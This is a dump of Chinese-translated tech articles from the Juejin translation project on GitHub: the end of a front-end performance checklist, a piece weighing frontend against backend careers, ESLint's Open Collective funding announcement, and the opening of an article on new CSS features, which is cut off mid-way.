响应头[实现了 HPACK 压缩](https://blog.cloudflare.com/hpack-the-silent-killer-feature-of-http-2/)来减少不必要的载荷。因为 HTTP/2 服务器都比较新，它们也许没有完全支持设计规范，HPACK 就是一个例子，[H2spec](https://github.com/summerwind/h2spec) 是一个出色的（从技术上讲很详尽）检查工具。HPACK 的压缩算法确实[令人印象深刻](https://www.mnot.net/blog/2018/11/27/header_compression)，并且[运行效果不错](https://www.keycdn.com/blog/http2-hpack-compression/)。\n\n#### 58. 确保你的服务器安全稳固\n\n所有浏览器的 HTTP/2 实现都是运行在 TLS 之上，所以你可能想避免安全性警告或页面中的某些元素出错。请确保 [HTTP 头在安全方面得到合适配置](https://securityheaders.io/)，[消除已知的风险](https://www.smashingmagazine.com/2016/01/eliminating-known-security-vulnerabilities-with-snyk/)，并且[检查你的证书](https://www.ssllabs.com/ssltest/)。还有确保通过 HTTPS 加载所有的外部插件和跟踪脚本，没有跨站脚本并且已经合适地配置了 [HTTP 严格传输安全头](https://www.owasp.org/index.php/HTTP_Strict_Transport_Security_Cheat_Sheet)和[内容安全策略头](https://www.owasp.org/index.php/HTTP_Strict_Transport_Security_Cheat_Sheet)。\n\n### 测试和监控\n\n#### 59. 你优化过你的审计流程吗？\n\n可能听起来没什么大不了的，但是如果设置合适可能会减少你很多测试上的时间。请考虑使用 Tim Kadlec 的[针对 WebPageTest 的 Alfred 工作流](https://github.com/tkadlec/webpagetest-alfred-workflow)向 WebPageTest 公共实例来提交测试用例。\n\n你也可以用 [Google Spreadsheet 来驱动 WebPageTest](https://calendar.perfplanet.com/2014/driving-webpagetest-from-a-google-docs-spreadsheet/) 并且 Travis 使用 Lighthouse CI 安装了[包含辅助工具，性能和 SEO 评分](https://web.dev/fast/using-lighthouse-ci-to-set-a-performance-budget)的测试或[直接打包进 Webpack](https://twitter.com/addyosmani/statuses/1017655423099289600)。\n\n并且如果你需要快速调试东西但你的构建进程似乎奇慢，记住“对于大部分 JavaScript 来说[移除空白符和 symbol mangling 可以使被压缩代码大小减少 95%](https://slack.engineering/keep-webpack-fast-a-field-guide-for-better-build-performance-f56a5995e8f1) —— 并不是精巧的代码转换。你可以简单的通过压缩使 Uglify 构建速度快 3 到 4 倍。”\n\n[![拉取请求（pull request）检查非常有必要](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/705ed9b1-cd4d-4231-b808-ce8c2e72e070/review-required-checks-pr.png)](https://cdn-images-1.medium.com/max/1600/1*Y-1sdlIzFBRfEQPprzLnbA.png)\n\n通过使用 Lighthouse CI 在 Travis 中集成[辅助性工具，性能和 SEO 评分测试](https://web.dev/fast/using-lighthouse-ci-to-set-a-performance-budget)对所有的合作开发者来说都能显著提升开发新功能的效率。（[图像来源](https://cdn-images-1.medium.com/max/1600/1*Y-1sdlIzFBRfEQPprzLnbA.png)）（[大预览图](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/705ed9b1-cd4d-4231-b808-ce8c2e72e070/review-required-checks-pr.png)）\n\n#### 60. 你测试过代理和过时的浏览器吗？\n\n光测试 Chrome 和 Firefox 还不够。看看你的网站在代理浏览器和过时浏览器中的表现。例如[在亚洲有着巨大的市场占有率](http://gs.statcounter.com/#mobile_browser-as-monthly-201511-201611)（在亚洲多达 35%）的 UC 浏览器和 Opera Mini。[评估平均网络速度](https://www.webworldwide.io/)以避免在你的国家出现加载非常慢的情况。使用网络节流和模拟高分辨率设备测试。[BrowserStack](https://www.browserstack.com) 非常不错，不过还是要在真机上测试。\n\n[![](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/96fa3207-4fff-4b7b-bfa0-c115062d826a/demo-unit-perf-tests.gif)](https://github.com/loadimpact/k6)\n\n[k6](https://github.com/loadimpact/k6) 允许你写类似单元测试的性能测试用例。\n\n#### 61. 你测试过辅助工具的性能吗？\n\n当浏览器开始加载页面，它创建 DOM，如果此时有例如屏幕阅读器的辅助技术在运行，它也会创建辅助树。屏幕阅读器必须查询辅助树来获取信息并让读者可用 —— 有时默认直接查询，有时是按需，并且它可能会消耗一些时间。\n\n当讨论到快速到达可交互状态，通常我们指用户能**尽快**通过点击链接或按钮来与页面交互的指标。这个概念与屏幕阅读器的有细微不同。对于屏幕阅读器来说，最快可交互时间是指当屏幕阅读器可以读出给定页面的导航并且使用者可以实际敲击键盘来交互时的**时间**过去了多少。\n\nLéonie Watson 有一个[在辅助性工具的性能方面令人眼界大开的讨论](https://www.youtube.com/watch?v=n1sXj9oAXFU)并且特别指出加载慢会导致屏幕阅读器阅读延迟。屏幕阅读器本是用来快速阅读并导航的，因此可能那些视力不好的用户会比视力好的用户缺少耐心。\n\n加载大页面和使用 JavaScript 操作 DOM 会导致屏幕阅读器语音延迟。请关注这些以前没注意到的地方，并测试所有可用的平台（Jaws，NVDA，Voiceover，Narrator，Orca）。\n\n#### 62. 是否建立持续监控？\n\n对于快速无限制测试来说持有一个 [WebPagetest](http://www.webpagetest.org/) 实例总是非常受益的。一个类似 [Sitespeed](https://www.sitespeed.io/)，[Calibre](https://calibreapp.com/) 和 [SpeedCurve](https://speedcurve.com/) 的可持续监控工具能自动报警，给你更详尽的性能画像。设置你自己的用户时间记录来测试和监控特殊业务指标。并请考虑加入[自动性能回归警报](https://calendar.perfplanet.com/2017/automating-web-performance-regression-alerts/)来监控变化。\n\n了解使用 RUM-solutions 来监控性能随时间的变化。对于像加载测试工具的自动化测试，你可以使用 [k6](https://github.com/loadimpact/k6) 和它的脚本 API。并了解 [SpeedTracker](https://speedtracker.org)，[Lighthouse](https://github.com/GoogleChrome/lighthouse) 和 [Calibre](https://calibreapp.com)。\n\n### 速效方案\n\n本文的清单相当全面，并且完成所有的优化需要相当一段时间。所以，如果你只有一小时但想获得巨大性能提升，你要怎么做？让我们总结为 **12 条易于实现的目标**。显然，在你开始之前和完成之后，评估结果，包括在 3G 和有线网络连接下的渲染时间和 Speed Index。\n\n1.  评估实际经验和设置合适的目标。一个很好的目标是追求首次有意义的渲染时间 < 1 秒，同时 Speed Index < 1250 秒，慢速 3G 网络下首次可交互时间 < 5秒，TTI < 2 秒。针对渲染时间和首次可交互时间做优化。\n2.  为你的主要模板准备关键 CSS，并在放在页面的 `head` 标签内（预算应小于 14 KB）。对于 CSS/JS，使它们小于关键文件大小[最大预算 gzipped 压缩后为 170 KB](https://infrequently.org/2017/10/can-you-afford-it-real-world-web-performance-budgets/)（未压缩为 0.7 MB）。\n3.  尽可能地让更多的脚本分割，优化，defer 加载或者懒加载，检查轻量级的可选包并限制第三方包的大小。\n4.  使用 `<script type=\"module\">` 来让代码只对旧浏览器工作。\n5.  试着整个 CSS 规则并测试 in-body CSS。\n6.  使用更快的 `dns-lookup`，`preconnect`，`prefetch` 和 `preload` 来添加资源提示来加速分发。\n7.  给网络字体分组并异步加载，在 CSS 中利用 `font-display` 来加速首次渲染。\n8.  优化图片，并考虑为重要的页面（例如首页）使用 WebP。\n9.  检查 HTTP 头设置的缓存并确保已经被合适地设置。\n10. 在服务器上启用 Brotli 和 Zopfli 压缩。（如果不能，别忘了启用 Gzip 压缩。）\n11. 如果 HTTP/2 可用，启用 HPACK 压缩并开始监控 mixed-content 警告。开启 OSCP 压缩。\n12. 在 service worker 中缓存字体，样式，JavaScript 和图片等资源文件。\n\n### 下载清单 （PDF，Apple Pages）\n\n记住这条清单，你应该就能应对各种前端性能方面的项目。请自由下载可打印版的 PDF 清单，同时为了供您按需定制清单还准备了**可编辑的 Apple Pages 文档**。\n\n*  [下载 PDF 版清单](https://www.dropbox.com/s/21vof23jlwf0swc/performance-checklist-1.2.pdf?dl=0) (PDF，166 KB)\n*  [下载 Apple Pages 版清单](https://www.dropbox.com/s/xyf5qjnp1ii5okm/performance-checklist-1.2.pages?dl=0) (.pages，275 KB)\n*  [下载 MS Word 版清单](https://www.dropbox.com/s/76b3yzexqdwsg65/performance-checklist-1.2.docx?dl=0) (.docx，151 KB)\n\n如果你需要更多选择，你也可以查看 [Dan Rublic 总结的前端清单](https://github.com/drublic/checklist)，Jon Yablonski 总结的[设计者的 Web 性能清单](http://jonyablonski.com/designers-wpo-checklist/) 和 [FrontendChecklist](https://github.com/thedaviddias/Front-End-Performance-Checklist)。\n\n### 出发！\n\n一些优化可能超出你的工作或计划，或者对于你要处理的老旧代码可能造出更多麻烦。这都不是问题！请把这个清单作为一个（希望够全面）大纲，创建适合你的专属的问题清单。不过重中之重的是优化前测试和权衡你的项目来定位问题。希望大家在 2019 年都能得到不错的优化成绩！\n\n* * *\n\n**非常感谢 Guy Podjarny，Yoav Weiss，Addy Osmani，Artem Denysov，Denys Mishunov，Ilya Pukhalski，Jeremy Wagner，Colin Bendell，Mark Zeman，Patrick Meenan，Leonardo Losoviz，Andy Davies，Rachel Andrew，Anselm Hannemann，Patrick Hamann，Andy Davies，Tim Kadlec，Rey Bango，Matthias Ott，Peter Bowyer，Phil Walton，Mariana Peralta，Philipp Tellis，Ryan Townsend，Ingrid Bergman，Mohamed Hussain S. H.，Jacob Groß，Tim Swalling，Bob Visser，Kev Adamson，Adir Amsalem，Aleksey Kulikov 和 Rodney Rehm 对这篇文章的审阅，同时也感谢我们无与伦比的社区，大家会分享从工作学到的，对每个人都有用的优化技术和课程。你们真的是太棒了！**\n\n> - [译] [2019 前端性能优化年度总结 — 第一部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-1.md)\n> - [译] [2019 前端性能优化年度总结 — 第二部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-2.md)\n> - [译] [2019 前端性能优化年度总结 — 第三部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-3.md)\n> - [译] [2019 前端性能优化年度总结 — 第四部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-4.md)\n> - [译] [2019 前端性能优化年度总结 — 第五部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-5.md)\n> - **[译] [2019 前端性能优化年度总结 — 第六部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-6.md)**\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/frontend-vs-backend-which-one-is-right-for-you.md",
    "content": "> * 原文地址：[Frontend vs Backend: Which One Is Right For You?](https://dev.to/molly_struve/frontend-vs-backend-which-one-is-right-for-you-5gjg)\n> * 原文作者：[Molly Struve](https://dev.to/molly_struve)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/frontend-vs-backend-which-one-is-right-for-you.md](https://github.com/xitu/gold-miner/blob/master/TODO1/frontend-vs-backend-which-one-is-right-for-you.md)\n> * 译者：[YueYong](https://github.com/YueYongDev)\n> * 校对者：[Chorer](https://github.com/Chorer)，[Zavier Tang](https://github.com/ZavierTang)\n\n# 前端 vs 后端：哪一个适合你？\n\n![](https://res.cloudinary.com/practicaldev/image/fetch/s--sQXuMr9C--/c_imagga_scale,f_auto,fl_progressive,h_420,q_auto,w_1000/https://thepracticaldev.s3.amazonaws.com/i/xtuhivk785yvj2pden2g.png)\n\n经常会有初学者来问我刚开始学习编程的时候应该学些什么？问这个问题就跟一个医学生询问应该专注研究哪个领域一样。根本没有一个标准答案。但我还是想提供一些指导，并就这个问题提出一些自己的看法。希望这篇文章可以给刚开始职业生涯的你一些值得思考的东西。\n\n## 定义\n\n在刚开始学习软件开发的时候，首先要经历的心理斗争就是我应该把关注点放在哪，前端还是后端？在我们深入了解两个领域的特征之前，我们先来看看它们的定义。\n\n### 前端\n\n> 指的是网站的表示层以及它与后端数据的交互方式。例如 HTML、CSS、JavaScript 和 Angular 等。\n\n[![](https://res.cloudinary.com/practicaldev/image/fetch/s--rYiDNsAL--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/e0vm7fc5bzuqxuhmt80f.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--rYiDNsAL--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/e0vm7fc5bzuqxuhmt80f.png)\n\n### 后端\n\n> 指的是应用程序的数据处理层。这一层负责与数据库通信，并确定将哪些信息发送到要显示的前端。例如 Ruby、Rails、Python、Java 等。\n\n[![](https://res.cloudinary.com/practicaldev/image/fetch/s--K81Tz4o2--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/bqj0p9v42macnqlis6ow.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--K81Tz4o2--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/bqj0p9v42macnqlis6ow.png)\n\n好的，现在我们知道它们是什么了，但是你又该如何选择哪一个作为职业的方向呢？老实说，它取决于你的个人喜好以及你选择成为一个开发者的初衷。\n\n## 职业满足感\n\n如果你选择成为一名开发人员是因为你想获得职业满足感，并做一些你喜欢的事情，那么我的建议是，当你开始时，前后端都要做。同时涉猎前端和后端，这样你就能感受到你更喜欢的是什么。这么做会很辛苦吗？当然会，但是这也会极大地增加你找到喜欢做的事情的机会。\n\n在前端和后端生态系统中，仍然有许多你可以选择并且能做得非常出色的专业。当你开始的时候，试着去了解一些基本的东西，不要太担心会沉迷其中。试一试水，看看当你用它的时候，其中一个方向是否真的能吸引到你。同时，你要意识到，无论你选择哪个，一开始都会很困难。我想说的是，在你决定要把重点放在哪里之前，给自己一年或两年的时间来研究整个流程。这将给你足够的时间来解决最初的“哇，这太糟糕了，因为它很难”的问题，同时还能让你真正评估它是否是你喜欢使用的技术。\n\n虽然每个人都有不同的品味，但是看看其他开发人员喜欢使用哪些语言和技术也是很有趣的。2019 年 StackOverflow 调查了[最受欢迎的语言](https://insights.stackoverflow.com/survey/2019#technology-_-most-loved-dreaded-and-wanted-languages)。\n\n[![](https://res.cloudinary.com/practicaldev/image/fetch/s--Jzs_nPT6--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/85q0iiaxn4q1gfx9w2ny.png)](https://res.cloudinary.com/practicaldev/image/fetch/s--Jzs_nPT6--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/85q0iiaxn4q1gfx9w2ny.png)\n\n前后端通吃的另一个好处是，你可以了解它们之间是如何协同工作的。无论你决定在未来关注哪个方面，这都非常有用。如果你了解另一半的工作原理，那么你就可以在项目中创建更好的代码和接口。\n\n最后，当你在工作时横跨前后端，你可能会决定不进行选择了！你可能希望通吃前后端，并成为一个全栈工程师。这也是完全可以的！\n\n## 工资/稳定性\n\n如果你从事开发的职业动机是为了工资和稳定，那么同时学习这两个方向可能是在浪费你的时间。如果你想尽快从事一行职业，那么就对你想从事的领域做一些调查。找出前端和后端的工资趋势。此外，尝试找出市场上最需要哪种类型的开发人员。\n\n我不知道前端和后端哪个工资更高，但有一些调查试图回答这个问题。我们可以看看 2019 年 StackOverflow 的调查，该调查将开发者的[薪资按类型](https://insights.stackoverflow.com/survey/2019#work-_-salary-by-developer-type)进行了细分。\n\n### 全球\n\n1. 全栈工程师 $57k  \n2. 后端工程师 $56k  \n3. 前端工程师 $52k\n\n### 美国\n\n1. 后端工程师 $116k  \n2. 全栈工程师 $110k  \n3. 前端工程师 $103k\n\n此外，它还[根据技术](https://insights.stackoverflow.com/survey/2019#top-paying-technologies)细分了薪资。下面是每项调查的样本。\n\n### 全球\n\n* Clojure $90k\n* Go $80k\n* Python $63k\n* Swift $59k\n* JavaScript $56k\n* HTML/CSS $55k\n\n### 美国\n\n* Scala $143k\n* Clojure $139k\n* Go $136k\n* Swift $120k\n* Python $116k\n* JavaScript $110k\n* HTML/CSS $105k\n\n需要注意的是，这些工资和趋势可能会因你的工作地点和是否在寻找远程工作而有所不同。因此，你需要自己做好调查。这很简单，只需要查看求职公告板并搜索后端和前端技术，看看都有哪些。\n\n## 我为什么选择后端\n\n我想我应该在这里加上一段为什么我最终选择了后端，希望它可以在其他人做决定时帮助他们。当我转行成为一名开发人员时，我寻求工作满足感，并决定开始跨整个工作栈。在真正转向后端之前，我做了 3 年的全栈开发。吸引我来到后台的是 Ruby 的简洁。JavaScript 和前端语言对我来说总是缺乏组织性。我还热衷于优化代码性能。我喜欢想办法让事情运行得更好更快。后端似乎给了我更多的机会。\n\n最后，我不是一个非常注重视觉或艺术的人。有些人可以看看网页，然后想办法把它放在什么地方。我从来都不擅长这个，所以后端让我更自然、更舒服。\n\n如果你想深入了解其他人的观点，请查看这个讨论前端和后端 Web 开发的 [CodeNewbie Chat](https://wakelet.com/wake/7d71f467-89ba-49cb-a196-4e32657369ac)。你还可以查看周二开始的 dev.to thread，我将会询问人们如何选择在前端还是后端工作以及其原因。\n\n[Frontend vs Backend, which do you prefer and why?](https://dev.to/molly_struve/frontend-vs-backend-which-do-you-prefer-and-why-5a9e)\n\n## 没有什么是永恒的\n\n无论你决定专注于什么，要知道没有什么是永恒的。如果你走错了一条路，你总是可以悬崖勒马的。软件工程的一个伟大之处在于，它把所有的东西都整合在一起。了解一个领域只会帮助你的成长并在另一个领域做得更好。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/funding-eslint-future.md",
    "content": "> * 原文地址：[Funding ESLint’s Future](https://eslint.org/blog/2019/02/funding-eslint-future)\n> * 原文作者：[ESLint](https://eslint.org)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/funding-eslint-future.md](https://github.com/xitu/gold-miner/blob/master/TODO1/funding-eslint-future.md)\n> * 译者：[EdmondWang](https://github.com/EdmondWang)\n> * 校对者：[TUARAN](https://github.com/TUARAN), [Fengziyin1234](https://github.com/Fengziyin1234)\n\n# 资助 ESLint 的未来\n\n2019 年 6 月，距离 ESLint 的首次发布已过了整整六年。ESLint 从起初解决有限问题的一个小项目成长为如今世界上最流行的 Javascript 代码检测工具，在 npm 上已拥有**每周** 650 万的下载次数。现在 ESLint 每天都被用于帮助大公司团队和个人开发者发现和解决 Javascript 代码问题。另外，ESLint 也已经有足够的能力来检测由 Javascript 衍生出的编程语言，如 [Flow](https://www.npmjs.com/package/eslint-plugin-flowtype) 和 [TypeScript](https://typescript-eslint.io)，甚至能帮助移动端开发者检测 [React Native](https://www.npmjs.com/package/eslint-plugin-react-native)。\n\n所有这一切都意味着 ESLint 已经成为了 Javascript 生态系统中重要的一部分。它是一个 Javascript 社区所依赖的工具，并且希望它是可用的、高性能的和安全的。所有的这些期望现在都已经被一个全部是由志愿者组成的团队利用他们的闲暇时光如午休，夜晚和周末来实现了。虽然当前这个开发模式足以满足日常维护的需要，但是难以使得 ESLint 继续成长来解决更多的问题，比如既定的发展路线图和安全问题。\n\n简而言之，我们已经意识到为了让 ESLint 继续成长和发展，我们需要更具有组织化，并建立一种方式来资助 ESLint 的未来发展。\n\n## ESLint Collective\n\n[![ESLint Collective 的商标](https://eslint.org/img/posts/eslint-collective.png)](https://opencollective.com/eslint)\n\n[成为一个赞助人](https://opencollective.com/eslint)\n\n今天我们很高兴在 Open Collective 上宣布 [ESLint Collective](https://opencollective.com/eslint)。Open Collective 是一个人们维持和支持开源项目的安全可靠的平台。资金的收入和支出都会被公示在每个 Collective 项目的页面，因此每个项目使用的资金有百分之一百的透明度。Open Collective 已经帮助了许多其他的 Javascript 生态项目例如 [Webpack](https://opencollective.com/webpack) 和 [Babel](https://opencollective.com/babel) 以资助他们的持续发展，并且 ESLint 团队也非常高兴能加入到这个已经被证明为开源可持续性项目的绝佳选择的平台。\n\n和 Open Collective 合作的一些好处包括：\n\n*   **资金完全透明。** 每个人都可以知道资金的来源和去向。\n\n*   **个人和企业的赞助。** Open Collective 使得个人和企业都很容易资助开源项目。\n\n*   **潜在的税务优惠。** 由于资金付给了 Open Source Collective，这是一个位于美国的 501(c)(6) 机构。有些捐款人可能会获得税务优惠。（请咨询你的会计师）\n\n*   **自动结账。** 对于企业赞助人，Open Collective 会自动地生成和发送发票给企业以方便款项的追踪。\n\n*   **开放参与。** 任何人都可以申请用于帮助 ESLint 项目的资金的报销并且 ESLint 可以支付给任何人。\n\n## 钱将会被怎么使用？\n\nESLint 团队对于怎么处理收到的捐款有很多的想法。取决于得到的捐款数额，以下是我们计划想做的事情：\n\n*   **向开发和维护团队成员付薪。** 所有的 ESLint 团队成员现在仍然都是利用他们的闲暇时间来贡献代码。在 ESLint 项目中引入有偿的全职或兼职，有利于项目更快速和更持续的发展。\n\n*   **奖励来自社区的贡献。** 我们想要奖励每一个为 ESLint 项目做出贡献的人，无论是一次性的贡献或者持续性的贡献。我们仍在研究细节，从贴纸、T 恤到对重大贡献的现金奖励，都是我们目前正在考虑的事情。\n\n*   **改进文档。** ESLint 项目自从第一次发布以来还没有进行过重大的文档改进。我们觉得有很多方式可以改进我们的项目文档，包括可能与信息架构师或者技术类作家签订合同来改进我们的文档。\n\n*   **更好的交流和支持。** 引入有偿全职或有偿兼职的同时，这也为将团队成员派往线下技术分享，公司和会议以与社区互动并更好地了解开发人员面临的问题提供了可能性。\n\n*   **建立一个发展规划。** 一段时间以来，ESLint团队大多基于要实现的功能来做一次性的工作。如果不知道谁能够在项目上花费多少的时间，这就很难做出长期规划并制定一个未来的路线图。当我们成为一个自我维持的项目时，我们终于有能力去做成这件事情。\n\n## 我们的目标：每月两万美元\n\n为了实现我们的愿景，我们相信我们将需要每月两万美元的捐款。有了这个数额，我们有能力在可预见的未来维持 ESLint 项目。\n\n## 介绍我们的第一批资助者们\n\n[![Facebook](https://eslint.org/img/logos/facebook.png)](https://facebook.com) [![Airbnb](https://eslint.org/img/logos/airbnb.png)](https://airbnb.com)\n\n我们也非常高兴地在此宣布我们的第一批投资者们。[Facebook](https://facebook.com) 和 [Airbnb](https://airbnb.com) 都已经承诺每月赞助一千美元来支持 ESLint 项目。\n\n[![Frontend Masters](https://static.frontendmasters.com/assets/fm/js/frontendmasters.0e71088726.svg)](https://frontendmasters.com)\n\n另外，[Frontend Masters](https://frontendmasters.com) 已经捐款两百美元来支持 ESLint 项目。\n\n如果你的公司也在使用 ESLint 来发现和修复你们项目中 Javascript 代码的问题，请询问他们是否愿意和这些出色的公司一起来[赞助 ESLint](https://opencollective.com/eslint)。（ESLint 组织的网站首页和 README 文件都将会展示所有每月捐款超过两百美元的赞助者的商标）\n\n我们想要感谢来自 Facebook 的 Eric Nakagawa，来自 Airbnb 的 Jordan Harband，来自 Frontend Masters 的 Marc Grabanski，和来自 Open Collective 的 Pia Mancini。感谢他们在各自公司为我们早期赞助工作所做出的支持。\n\n## 对于 ESLint 来说最好的尚未到来\n\n我们感激 ESLint 社区持续不断的支持和反馈，并且期待和你们继续互动，共同成长。我们坚信对于 ESLint 来说，最好的尚未到来，随着来自使用 ESLint 的公司的经济支持，我们将有能力实现我们的愿景。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/future-of-web-design.md",
    "content": "> * 原文地址：[New CSS Features That Are Changing Web Design](https://www.smashingmagazine.com/2018/05/future-of-web-design/)\n> * 原文作者：[Zell](https://www.smashingmagazine.com/author/zellliew)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/future-of-web-design.md](https://github.com/xitu/gold-miner/blob/master/TODO1/future-of-web-design.md)\n> * 译者：[sophia](https://github.com/sophiayang1997)\n> * 校对者：[kezhenxu94](https://github.com/kezhenxu94/) [hannahGu](https://github.com/hannahGu)\n\n# 新的 CSS 特性正在改变网页设计\n\n如今，网页设计的风貌已经完全改变。我们拥有又新潮又强大的工具 —— CSS 网格/栅格（CSS Grid），CSS 自定义属性（CSS custom properties），CSS 图形（CSS shapes）和 CSS 写作模式（CSS writing-mode），这里仅举此几例 —— 这些都可以被用来锻炼我们的创造力。本文作者 Zell Liew 将解释如何用它们来锻炼我们的创造力。\n\n曾经有一段时间网页设计变得单调乏味。设计师们和开发者们一次又一次地构建相同类型的网站，以至于我们被本行业的人嘲笑只会创建两种类型的网站：\n\n![](https://i.loli.net/2018/05/23/5b052472069ff.png)\n\n这难道是我们的“创造性”思维可以实现的最大限度吗？这种想法让我感到一阵无法控制的悲伤。\n\n我不想承认这一点，但这也许是我们当时能完成的最好作品。也许是因为我们没有合适的工具去进行创意设计导致的。网络的需求正在迅速发展，但我们被浮动（floats）和表格（tables）这些古老的技术所局限。\n\n如今，网页设计的风貌已经完全改变。我们拥有又新潮又强大的工具 —— CSS 网格（CSS Grid），CSS 自定义属性（CSS custom properties），CSS 图形（CSS shapes）和 CSS 写作模式（CSS writing-mode），我们可以用仅举的这几项工具来锻炼我们的创造力。\n\n### CSS 网格（CSS Grid）如何改变一切\n\n你早就已经知道网格对于网页设计至关重要。但是你是否停下来问问自己，你主要使用网格去如何设计网页？\n\n我们大多数的人都没有思考这个问题。我们通常习惯使用已经成为我们行业标准的 12 列网格。\n\n*   但为什么我们使用相同的网格？\n*   为什么网格由 12 列组成？\n*   为什么我们的网格大小相等？\n\n我们使用相同网格的理由可能是：**我们并不想计算**。\n\n过去，在基于浮动的网格中去创建一个三列网格。你需要计算每列的宽度，每个间隔的大小以及如何去放置这些网格项。然后，你需要在 HTML 中创建类（classes）以适当地设置它们的样式。这样做[非常复杂](https://zellwk.com/blog/responsive-grid-system/)。\n\n为了让事情更简单，我们可以采用网格框架。一开始，[960gs](https://960.gs) 和 [1440px](https://1440px.com) 等框架允许我们选择 8、9、12 甚至 16 列的网格。后来，Bootstrap 在这场框架大战之中胜出。由于 Bootstrap 值仅允许网格 12 列，并且想要改变这个规则是非常痛苦的过程，因此我们最终以 12 列作为网格标准。\n\n但我们不应该责怪 Bootstrap。那是当时最好的办法。谁不想要一个能够以最小的努力工作就可以获得的优良解决方案？随着网格的问题解决，我们将注意力转移到设计的其他方面，例如排版、颜色和可访问性。\n\n现在，随着 **CSS Grid 的出现，网格变得更加简单**。我们不再需要担心网格中遇到的复杂计算。这些工作变得非常简单，以至于我认为使用 CSS 创建网格比使用 Sketch 等设计工具更加容易！\n\n为什么呢？\n\n假设你想制作一个 4 列的网格，每列的大小为 100 像素。使用 CSS 网格，你可以在 `grid-template-columns` 声明中写四次 `100px`，之后一个 4 列网格就会被创建。\n\n```\n.grid {\n  display: 